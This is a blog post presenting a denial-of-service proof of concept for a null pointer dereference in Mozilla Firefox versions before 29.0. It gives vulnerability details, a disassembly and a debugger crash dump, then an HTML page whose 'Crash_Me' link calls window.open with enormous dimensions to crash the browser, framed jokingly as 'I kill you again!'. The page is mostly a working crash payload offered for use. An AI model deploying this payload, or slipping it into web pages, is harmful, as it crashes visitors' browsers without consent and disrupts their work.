Mr.Quay's Blog: DoS/PoC

<div class="container">
<div class="line number1 index0 alt2">
<code class="xml plain"><</code><code class="xml keyword">html</code><code class="xml plain">></code></div>
<div class="line number2 index1 alt1">
<code class="xml plain"><</code><code class="xml keyword">title</code><code class="xml plain">>Mozilla Firefox Null Pointer Dereference Vulnerability</</code><code class="xml keyword">title</code><code class="xml plain">></code></div>
<div class="line number3 index2 alt2">
<code class="xml plain"><</code><code class="xml keyword">pre</code><code class="xml plain">></code></div>
<div class="line number4 index3 alt1">
<code class="xml plain">Fun side of life!</code></div>
<div class="line number5 index4 alt2">
<code class="xml plain"><</code><code class="xml keyword">br</code><code class="xml plain">></code></div>
<div class="line number6 index5 alt1">
<code class="xml plain">Details:</code></div>
<div class="line number7 index6 alt2">
<code class="xml spaces">    </code><code class="xml plain">Title: Mozilla Firefox Null Pointer Dereference Vulnerability</code></div>
<div class="line number8 index7 alt1">
<code class="xml spaces">    </code><code class="xml plain">Version: Prior to 29.0</code></div>
<div class="line number9 index8 alt2">
<code class="xml spaces">    </code><code class="xml plain">Date: 4/30/2014</code></div>
<div class="line number10 index9 alt1">
<code class="xml spaces">    </code><code class="xml plain">Discovered By: Mr.XHat</code></div>
<div class="line number11 index10 alt2">
<code class="xml spaces">    </code><code class="xml plain">E-Mail: Mr.XHat {AT} GMail.com</code></div>
<div class="line number12 index11 alt1">
<code class="xml spaces">    </code><code class="xml plain">Tested On: Windows 7 x64 EN</code></div>
<div class="line number13 index12 alt2">
<code class="xml plain">###################################</code></div>
<div class="line number14 index13 alt1">
<code class="xml plain">Disassembly:</code></div>
<div class="line number15 index14 alt2">
<code class="xml spaces">    </code><code class="xml plain">01694240 8bc2            mov     eax,edx</code></div>
<div class="line number16 index15 alt1">
<code class="xml spaces">    </code><code class="xml plain">01694242 d9e0            fchs</code></div>
<div class="line number17 index16 alt2">
<code class="xml spaces">    </code><code class="xml plain">01694244 8b550c          mov     edx,dword ptr [ebp+0Ch]</code></div>
<div class="line number18 index17 alt1">
<code class="xml spaces">    </code><code class="xml plain">01694247 d95c2418        fstp    dword ptr [esp+18h]</code></div>
<div class="line number19 index18 alt2">
<code class="xml spaces">    </code><code class="xml plain">0169424b 8b1a            mov     ebx,dword ptr [edx]  ds:0023:00000000=????????</code></div>
<div class="line number20 index19 alt1">
<code class="xml spaces">    </code><code class="xml plain">0169424d d9442418        fld     dword ptr [esp+18h]</code></div>
<div class="line number21 index20 alt2">
<code class="xml spaces">    </code><code class="xml plain">01694251 8d4c2420        lea     ecx,[esp+20h]</code></div>
<div class="line number22 index21 alt1">
<code class="xml spaces">    </code><code class="xml plain">01694255 d9c0            fld     st(0)</code></div>
<div class="line number23 index22 alt2">
<code class="xml spaces">    </code><code class="xml plain">01694257 51              push    ecx</code></div>
<div class="line number24 index23 alt1">
<code class="xml plain">============================================</code></div>
<div class="line number25 index24 alt2">
<code class="xml plain">Output:</code></div>
<div class="line number26 index25 alt1">
<code class="xml spaces">    </code><code class="xml plain">(e0.544): Access violation - code c0000005 (first chance)</code></div>
<div class="line number27 index26 alt2">
<code class="xml spaces">    </code><code class="xml plain">First chance exceptions are reported before any exception handling.</code></div>
<div class="line number28 index27 alt1">
<code class="xml spaces">    </code><code class="xml plain">This exception may be expected and handled.</code></div>
<div class="line number29 index28 alt2">
<code class="xml spaces">    </code><code class="xml plain">eax=07e1fd00 ebx=0994bf90 ecx=000001f8 edx=00000000 esi=000000a8 edi=00000000</code></div>
<div class="line number30 index29 alt1">
<code class="xml spaces">    </code><code class="xml plain">eip=0169424b esp=0012c8f0 ebp=0012c940 iopl=0         nv up ei pl nz na po nc</code></div>
<div class="line number31 index30 alt2">
<code class="xml spaces">    </code><code class="xml plain">cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202</code></div>
<div class="line number32 index31 alt1">
<code class="xml spaces">    </code><code class="xml plain">*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Mozilla Firefox\xul.dll - </code></div>
<div class="line number33 index32 alt2">
<code class="xml spaces">    </code><code class="xml plain">xul!NS_NewLocalFile+0x2a49c:</code></div>
<div class="line number34 index33 alt1">
<code class="xml spaces">    </code><code class="xml plain">0169424b 8b1a            mov     ebx,dword ptr [edx]  ds:0023:00000000=????????</code></div>
<div class="line number35 index34 alt2">
<code class="xml plain">#######################################################################################</code></div>
<div class="line number36 index35 alt1">
<code class="xml plain"></</code><code class="xml keyword">pre</code><code class="xml plain">></code></div>
<div class="line number37 index36 alt2">
<code class="xml plain"><</code><code class="xml keyword">a</code> <code class="xml color1">href</code><code class="xml plain">=</code><code class="xml string">"javascript:_Launch_Website_In_Floating_Window_()"</code></div>
<div class="line number38 index37 alt1">
<code class="xml color1">onclick</code><code class="xml plain">=</code><code class="xml string">"window.open('about:blank','1','toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=9999999999,height=9999999999');"</code></div>
<div class="line number39 index38 alt2">
<code class="xml plain">>Crash_Me</</code><code class="xml keyword">a</code><code class="xml plain">></code></div>
<div class="line number40 index39 alt1">
<code class="xml plain"><</code><code class="xml keyword">br</code><code class="xml plain">><</code><code class="xml keyword">br</code><code class="xml plain">></code></div>
<div class="line number41 index40 alt2">
<code class="xml plain">I kill you again!</code></div>
<div class="line number42 index41 alt1">
<code class="xml plain"></</code><code class="xml keyword">html</code><code class="xml plain">></code></div>
</div>